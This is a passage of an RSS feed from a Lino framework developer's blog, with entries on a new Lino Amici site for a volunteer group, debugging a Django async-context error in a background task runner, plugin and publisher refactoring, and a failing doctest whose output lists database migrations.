&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136972&lt;/span&gt; &lt;span class="mi"&gt;140550706550528&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AllTickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_session&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="c1"&gt;#5319 (&amp;quot;#5319 (AttributeError: &amp;#39;PosixPath&amp;#39; object has no attribute &amp;#39;startswith&amp;#39;)&amp;quot;)]&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136971&lt;/span&gt; &lt;span class="mi"&gt;140023273858816&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AllTickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;submit_insert&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136972&lt;/span&gt; &lt;span class="mi"&gt;140550706550528&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AllTickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;submit_detail&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="c1"&gt;#5320 (&amp;quot;#5320 (unable to access &amp;#39;https://gitlab.com/lino-framework/book.git/&amp;#39;)&amp;quot;)]&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136971&lt;/span&gt; &lt;span class="mi"&gt;140023273858816&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AllTickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_session&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="c1"&gt;#5320 (&amp;quot;#5320 (unable to access &amp;#39;https://gitlab.com/lino-framework/book.git/&amp;#39;)&amp;quot;)]&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt; &lt;span class="mi"&gt;136972&lt;/span&gt; &lt;span class="mi"&gt;140550819161856&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Not&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;well&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;known&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;traffic&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;advice&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/1216.html</guid><pubDate>Sat, 16 Dec 2023 00:00:00 +0000</pubDate></item><item><title>Friday, December 8, 2023</title><link>https://luc.lino-framework.org/blog/2023/1208.html</link><description>&lt;section id="friday-december-8-2023"&gt;
&lt;h1&gt;Friday, December 8, 2023&lt;a class="headerlink" href="#friday-december-8-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Yesterday I started a new &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#amici" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Amici&lt;/span&gt;&lt;/a&gt; production site for the “Association of
Estonian Taizé Friends”, a small group of volunteers. My idea is to give them a
collaboration and file sharing platform similar to Slack or Microsoft Teams. I
am the only one to believe in this idea. I wouldn’t even say that I “believe” in
it, I’d rather say I “feel a call to try” it.&lt;/p&gt;
&lt;p&gt;Why not &lt;a class="reference external" href="https://en.m.wikipedia.org/wiki/Mattermost"&gt;Mattermost&lt;/a&gt;? Because
Mattermost is not really free any more. Okay, but why not &lt;a class="reference external" href="https://zulip.com/team/"&gt;Zulip&lt;/a&gt;? Led by Tim Abbott, Zulip seems very similar to
Lino. His wife Alya Abbott is quite good with promoting the idea (read e.g.
&lt;a class="reference external" href="https://blog.zulip.com/2023/05/04/when-free-forever-is-4-months/"&gt;When “free forever” means “free for the next 4 months”&lt;/a&gt;). And
Zulip has more than 1000 code contributors, their &lt;a class="reference external" href="https://zulip.readthedocs.io/en/latest/contributing/contributing.html"&gt;Contributing guide&lt;/a&gt; is
obviously better than ours.&lt;/p&gt;
&lt;p&gt;In other words, reasonably spoken, I should recommend &lt;a class="reference external" href="https://zulip.com/plans/"&gt;Zulip&lt;/a&gt; to my Estonian Taizé friends rather than burdening
them with a Lino.&lt;/p&gt;
&lt;p&gt;My problem is that reality is not always reasonable.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/1208.html</guid><pubDate>Fri, 08 Dec 2023 00:00:00 +0000</pubDate></item><item><title>SynchronousOnlyOperation</title><link>https://luc.lino-framework.org/blog/2023/1202.html</link><description>&lt;section id="synchronousonlyoperation"&gt;
&lt;h1&gt;SynchronousOnlyOperation&lt;a class="headerlink" href="#synchronousonlyoperation" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Saturday, December 2, 2023&lt;/p&gt;
&lt;p&gt;Hannes upgraded Jane yesterday, Jane still doesn’t send mails (&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5278"&gt;#5278&lt;/a&gt;)
The status of &lt;cite&gt;send_pending_emails_often&lt;/cite&gt; is still &lt;cite&gt;Not started&lt;/cite&gt; (because I had
clicked on “Run now”) for this tasks.  The other tasks are “Scheduled to run at
2023-12-02T03:31:14 (3 hours ago)” or “Running since 2023-10-21T19:53:32 (1
month, 1 week ago)”.&lt;/p&gt;
&lt;p&gt;Hmm… did I forget to set &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/linod.html#lino.modlib.linod.use_channels" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.linod.use_channels&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;  to &lt;cite&gt;True&lt;/cite&gt;?  No.&lt;/p&gt;
&lt;p&gt;Tilt! Here is probably the explanation:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo cat /var/log/supervisor/jane_linod-stdout---supervisor-kis1sukm.log
Started manage.py linod --force (using lino_local.jane.settings) --&amp;gt; PID 218446
Running worker for channels [&amp;#39;linod_jane&amp;#39;]
Start the log server...
Start the background tasks runner using &amp;lt;Logger lino (INFO)&amp;gt;...
Task exception was never retrieved
future: &amp;lt;Task finished name=&amp;#39;Task-32&amp;#39; coro=&amp;lt;LinodConsumer._run_background_tasks() done, defined at /usr/local/lino
/lino_local/jane/env/lib/python3.9/site-packages/lino/modlib/linod/consumers.py:88&amp;gt; exception=SynchronousOnlyOpera
tion(&amp;#39;You cannot call this from an async context - use a thread or sync_to_async.&amp;#39;)&amp;gt;
Traceback (most recent call last):
  File &amp;quot;.../python3.9/site-packages/lino/modlib/linod/consumers.py&amp;quot;, line 96, in _run_background_tasks
    next_dt = await BackgroundTask.run_them_all(ar)
  File &amp;quot;.../python3.9/site-packages/lino/modlib/linod/models.py&amp;quot;, line 91, in run_them_all
    self.full_clean()
  File &amp;quot;.../python3.9/site-packages/lino/mixins/sequenced.py&amp;quot;, line 286, in full_clean
    super(Sequenced, self).full_clean(*args, **kw)
  File &amp;quot;.../python3.9/site-packages/lino/modlib/system/mixins.py&amp;quot;, line 260, in full_clean
    super().full_clean(*args, **kw)
  File &amp;quot;.../python3.9/site-packages/django/db/models/base.py&amp;quot;, line 1465, in full_clean
    self.validate_unique(exclude=exclude)
  File &amp;quot;.../python3.9/site-packages/django/db/models/base.py&amp;quot;, line 1207, in validate_unique
    errors = self._perform_unique_checks(unique_checks)
  File &amp;quot;.../python3.9/site-packages/django/db/models/base.py&amp;quot;, line 1317, in _perform_unique_checks
    if qs.exists():
  File &amp;quot;.../python3.9/site-packages/django/db/models/query.py&amp;quot;, line 1226, in exists
    return self.query.has_results(using=self.db)
  File &amp;quot;.../python3.9/site-packages/django/db/models/sql/query.py&amp;quot;, line 592, in has_results
    return compiler.has_results()
  File &amp;quot;.../python3.9/site-packages/django/db/models/sql/compiler.py&amp;quot;, line 1366, in has_results
    return bool(self.execute_sql(SINGLE))
  File &amp;quot;.../python3.9/site-packages/django/db/models/sql/compiler.py&amp;quot;, line 1396, in execute_sql
    cursor = self.connection.cursor()
  File &amp;quot;.../python3.9/site-packages/django/utils/asyncio.py&amp;quot;, line 24, in inner
    raise SynchronousOnlyOperation(message)
django.core.exceptions.SynchronousOnlyOperation: You cannot call this from an async context - use a thread or sync_to_async.
Started /usr/local/lino/lino_local/jane/env/bin/daphne -u /run/daphne/jane_daphne1.sock --fd 0 --access-log - --proxy-headers asgi:application (using lino_local.jane.settings) --&amp;gt; PID 218443
Started /usr/local/lino/lino_local/jane/env/bin/daphne -u /run/daphne/jane_daphne0.sock --fd 0 --access-log - --proxy-headers asgi:application (using lino_local.jane.settings) --&amp;gt; PID 218442
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I upgraded Django (from 4.1.7 to 4.2.7)&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/1202.html</guid><pubDate>Sat, 02 Dec 2023 00:00:00 +0000</pubDate></item><item><title>Blog entries should be just another type of node</title><link>https://luc.lino-framework.org/blog/2023/1105.html</link><description>&lt;section id="blog-entries-should-be-just-another-type-of-node"&gt;
&lt;h1&gt;Blog entries should be just another type of node&lt;a class="headerlink" href="#blog-entries-should-be-just-another-type-of-node" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Sunday, November 5, 2023&lt;/p&gt;
&lt;p&gt;Here is my summary after having played a full week with &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5193"&gt;#5193&lt;/a&gt; (Blog
entries should be just another type of node).&lt;/p&gt;
&lt;p&gt;Visible changes in publisher: Hierarchical pages now have previous/next links.
Blog entries now have the same layout as hierarchical pages.&lt;/p&gt;
&lt;p&gt;After my playing I think that we actually do &lt;em&gt;not&lt;/em&gt; want previous/next links on
blog entries.  In the admin view yes, there we want to navigate also in display
mode “detail”, but not on a publisher link. Such links are meant to be shared in
social media where people get quickly distracted by every useless detail.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/publisher.html#module-lino.modlib.publisher" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.publisher&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin is now used as &lt;a class="reference external" href="https://dev.lino-framework.org/dev/xlmenu.html#term-menu-group" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;menu group&lt;/span&gt;&lt;/a&gt; for
the three other CMS-specific plugins (blogs, pages and albums).&lt;/p&gt;
&lt;p&gt;The new setting &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/publisher.html#lino.modlib.publisher.locations" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.publisher.locations&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; replaces the
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;PublisherViews&lt;/span&gt;&lt;/code&gt; choicelist.&lt;/p&gt;
&lt;p&gt;A bug caused the “Start now” button on a background task to not work. We can now
run these tasks manually.&lt;/p&gt;
&lt;p&gt;TODO: Think about &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5204"&gt;#5204&lt;/a&gt; (About Site.user_linod, checkdata,
checksummaries &amp;amp; Co)&lt;/p&gt;
&lt;p&gt;I reviewed the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;__init__()&lt;/span&gt;&lt;/code&gt; method of &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/linod.html#lino.modlib.linod.Procedure" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.linod.Procedure&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
Now it takes just the &lt;cite&gt;func&lt;/cite&gt; object. That’s much easier to remember for
application developers. This optimization revealed an issue in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.choicelists.html#module-lino.core.choicelists" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.choicelists&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;: the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;deconstruct()&lt;/span&gt;&lt;/code&gt; method of a
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ChoiceListField&lt;/span&gt;&lt;/code&gt; must remove the &lt;cite&gt;choices&lt;/cite&gt; keyword because the list of
choices of a &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ChoiceListField&lt;/span&gt;&lt;/code&gt; does &lt;em&gt;not&lt;/em&gt; influence whether we need a
migration or not. As a side effect, &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Choice&lt;/span&gt;&lt;/code&gt; no longer needs to be
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;#64;deconstructible&lt;/span&gt;&lt;/code&gt;. (See &lt;a class="reference internal" href="1103.html"&gt;&lt;span class="doc"&gt;Friday, November 3, 2023&lt;/span&gt;&lt;/a&gt; for details)&lt;/p&gt;
&lt;p&gt;Removed duplicate definition of &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;requests.BaseRequest.obj2url()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.User" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.users.User&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is now &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/publisher.html#lino.modlib.publisher.Publishable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.publisher.Publishable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl/lib/pages/fixtures/demo2.py&lt;/span&gt;&lt;/code&gt; shows how to run a &lt;a class="reference external" href="https://using.lino-framework.org/plugins/linod.html#term-background-task" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;background
task&lt;/span&gt;&lt;/a&gt; from a script.&lt;/p&gt;
&lt;p&gt;I changed &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin._active&lt;/span&gt;&lt;/code&gt; to &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.hidden&lt;/span&gt;&lt;/code&gt; and renamed
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.deactivate()&lt;/span&gt;&lt;/code&gt; to &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.hide()&lt;/span&gt;&lt;/code&gt;. You can now hide a plugin in
the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/site.html#lino.core.site.Site.get_plugin_configs" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_plugin_configs&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. I
removed the obsolete &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.disables_plugins&lt;/span&gt;&lt;/code&gt; attribute.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.topics.html#module-lino_xl.lib.topics" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.topics&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin is now more easy to integrate because the
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;InterestsByController&lt;/span&gt;&lt;/code&gt; slave panel becomes invisible when the plugin
gets hidden.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;add_interest&lt;/span&gt;&lt;/code&gt; action is no longer needed since
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;InterestsByController&lt;/span&gt;&lt;/code&gt; has an insert button in the slave summary.&lt;/p&gt;
&lt;p&gt;The files &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;utils.py&lt;/span&gt;&lt;/code&gt; and &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;views.py&lt;/span&gt;&lt;/code&gt; in &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.pages&lt;/span&gt;&lt;/code&gt; were
no longer used. I removed them.&lt;/p&gt;
&lt;p&gt;When the plugin specified as the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/xlmenu.html#term-menu-group" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;menu group&lt;/span&gt;&lt;/a&gt; of another plugin has itself
a menu_group, then &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_menu_group()&lt;/span&gt;&lt;/code&gt; now returns the menu_group of the menu
group.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/1105.html</guid><pubDate>Sun, 05 Nov 2023 00:00:00 +0000</pubDate></item><item><title>Friday, November 3, 2023</title><link>https://luc.lino-framework.org/blog/2023/1103.html</link><description>&lt;section id="friday-november-3-2023"&gt;
&lt;h1&gt;Friday, November 3, 2023&lt;a class="headerlink" href="#friday-november-3-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I had a not-so-trivial failure:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(dev) luc@yoga:~/work/book$ dt docs/specs/migrate.rst
**********************************************************************
File &amp;quot;docs/specs/migrate.rst&amp;quot;, line 87, in migrate.rst
Failed example:
    shell(&amp;quot;python manage.py prep --noinput&amp;quot;)
    #doctest: +ELLIPSIS +REPORT_UDIFF +NORMALIZE_WHITESPACE
Differences (unified diff with -expected +actual):
    @@ -1,3 +1,256 @@
    -`initdb std minimal_ledger demo demo2 demo_bookings checksummaries checkdata` started on database .../default.db.
    -...
    -Installed 4030 object(s) from 31 fixture(s)
    +`initdb std minimal_ledger demo demo2 demo_bookings checksummaries checkdata` started on database /home/luc/work/book/lino_book/projects/migs/default.db.
    +Migrations for &amp;#39;calview&amp;#39;:
    +  migrations/calview/0001_initial.py
    +    - Create model DailyPlannerRow
    +Migrations for &amp;#39;countries&amp;#39;:
    +  migrations/countries/0001_initial.py
    +    - Create model Country
    +    - Create model Place
    +Migrations for &amp;#39;linod&amp;#39;:
    +  migrations/linod/0001_initial.py
    +    - Create model BackgroundTask
    +Migrations for &amp;#39;pages&amp;#39;:
    +  migrations/pages/0001_initial.py
    +    - Create model Node
    +    - Create model Page
    +Migrations for &amp;#39;userstats&amp;#39;:
    +  migrations/userstats/0001_initial.py
    +    - Create model UserStat
    +Migrations for &amp;#39;cal&amp;#39;:
    +  migrations/cal/0001_initial.py
    +    - Create model Calendar
    +    - Create model EntryRepeater
    +    - Create model Event
    +    - Create model EventPolicy
    +    - Create model EventType
    +    - Create model Guest
    +    - Create model GuestRole
    +    - Create model RecurrentEvent
    +    - Create model RemoteCalendar
    +    - Create model Room
    +    - Create model Subscription
    +    - Create model Task
    +  migrations/cal/0002_initial.py
    +    - Add field user to task
    +    - Add field calendar to subscription
    +    - Add field user to subscription
    +    - Add field calendar to room
    +    - Add field company to room
    +    - Add field contact_person to room
    +    - Add field contact_role to room
    +    - Add field event_type to recurrentevent
    +    - Add field user to recurrentevent
    +    - Add field event to guest
    +    - Add field partner to guest
    +    - Add field role to guest
    +    - Add field event_type to eventpolicy
    +    - Add field assigned_to to event
    +    - Add field company to event
    +    - Add field contact_person to event
    +    - Add field contact_role to event
    +    - Add field event_type to event
    +    - Add field owner_type to event
    +    - Add field previous_page to event
    +    - Add field room to event
    +    - Add field user to event
    +    - Add field cal_entry to entryrepeater
    +    - Alter unique_together for guest (1 constraint(s))
    +Migrations for &amp;#39;changes&amp;#39;:
    +  migrations/changes/0001_initial.py
    +    - Create model Change
    +  migrations/changes/0002_initial.py
    +    - Add field user to change
    +Migrations for &amp;#39;checkdata&amp;#39;:
    +  migrations/checkdata/0001_initial.py
    +    - Create model Message
    +  migrations/checkdata/0002_initial.py
    +    - Add field user to message
    +Migrations for &amp;#39;comments&amp;#39;:
    +  migrations/comments/0001_initial.py
    +    - Create model Comment
    +    - Create model CommentType
    +    - Create model Reaction
    +  migrations/comments/0002_initial.py
    +    - Add field user to reaction
    +    - Add field comment_type to comment
    +    - Add field owner_type to comment
    +    - Add field reply_to to comment
    +    - Add field user to comment
    +Migrations for &amp;#39;contacts&amp;#39;:
    +  migrations/contacts/0001_initial.py
    +    - Create model CompanyType
    +    - Create model Partner
    +    - Create model RoleType
    +    - Create model Company
    +    - Create model Person
    +    - Create model Role
    +  migrations/contacts/0002_initial.py
    +    - Add field payment_term to partner
    +    - Add field purchase_account to partner
    +    - Add field region to partner
    +    - Add field company to role
    +    - Add field person to role
    +    - Add field type to company
    +Migrations for &amp;#39;lists&amp;#39;:
    +  migrations/lists/0001_initial.py
    +    - Create model List
    +    - Create model ListType
    +    - Create model Member
    +    - Add field list_type to list
    +Migrations for &amp;#39;system&amp;#39;:
    +  migrations/system/0001_initial.py
    +    - Create model SiteConfig
    +Migrations for &amp;#39;users&amp;#39;:
    +  migrations/users/0001_initial.py
    +    - Create model User
    +    - Create model Authority
    +Migrations for &amp;#39;dashboard&amp;#39;:
    +  migrations/dashboard/0001_initial.py
    +    - Create model Widget
    +Migrations for &amp;#39;groups&amp;#39;:
    +  migrations/groups/0001_initial.py
    +    - Create model Group
    +    - Create model Membership
    +Migrations for &amp;#39;tinymce&amp;#39;:
    +  migrations/tinymce/0001_initial.py
    +    - Create model TextFieldTemplate
    +Migrations for &amp;#39;excerpts&amp;#39;:
    +  migrations/excerpts/0001_initial.py
    +    - Create model ExcerptType
    +    - Create model Excerpt
    +Migrations for &amp;#39;invoicing&amp;#39;:
    +  migrations/invoicing/0001_initial.py
    +    - Create model FollowUpRule
    +    - Create model Item
    +    - Create model Plan
    +    - Create model SalesRule
    +    - Create model Tariff
    +  migrations/invoicing/0002_initial.py
    +    - Add field product to tariff
    +    - Add field invoice_recipient to salesrule
    +  migrations/invoicing/0003_initial.py
    +    - Add field paper_type to salesrule
    +    - Add field order to plan
    +    - Add field partner to plan
    +    - Add field user to plan
    +    - Add field generator_type to item
    +    - Add field invoice to item
    +    - Add field partner to item
    +    - Add field plan to item
    +    - Add field source_journal to followuprule
    +Migrations for &amp;#39;ledger&amp;#39;:
    +  migrations/ledger/0001_initial.py
    +    - Create model Account
    +    - Create model AccountingPeriod
    +    - Create model FiscalYear
    +    - Create model Journal
    +    - Create model LedgerInfo
    +    - Create model PaymentTerm
    +    - Create model Voucher
    +    - Create model Movement
    +    - Create model MatchRule
    +  migrations/ledger/0002_initial.py
    +    - Add field uploads_volume to journal
    +    - Add field year to accountingperiod
    +    - Alter unique_together for matchrule (1 constraint(s))
    +Migrations for &amp;#39;vat&amp;#39;:
    +  migrations/vat/0001_initial.py
    +    - Create model VatAccountInvoice
    +    - Create model InvoiceItem
    +Migrations for &amp;#39;memo&amp;#39;:
    +  migrations/memo/0001_initial.py
    +    - Create model Mention
    +Migrations for &amp;#39;notify&amp;#39;:
    +  migrations/notify/0001_initial.py
    +    - Create model Message
    +Migrations for &amp;#39;products&amp;#39;:
    +  migrations/products/0001_initial.py
    +    - Create model Category
    +    - Create model Product
    +    - Create model PriceRule
    +  migrations/products/0002_initial.py
    +    - Add field selector to pricerule
    +    - Add field parent to category
    +Migrations for &amp;#39;sales&amp;#39;:
    +  migrations/trading/0001_initial.py
    +    - Create model PaperType
    +    - Create model VatProductInvoice
    +    - Create model InvoiceItem
    +Migrations for &amp;#39;subscriptions&amp;#39;:
    +  migrations/subscriptions/0001_initial.py
    +    - Create model Subscription
    +    - Create model SubscriptionPeriod
    +    - Create model SubscriptionItem
    +Migrations for &amp;#39;tickets&amp;#39;:
    +  migrations/tickets/0001_initial.py
    +    - Create model Site
    +    - Create model TicketType
    +    - Create model Ticket
    +    - Create model CheckListItem
    +Migrations for &amp;#39;working&amp;#39;:
    +  migrations/working/0001_initial.py
    +    - Create model SessionType
    +    - Create model UserSummary
    +    - Create model SiteSummary
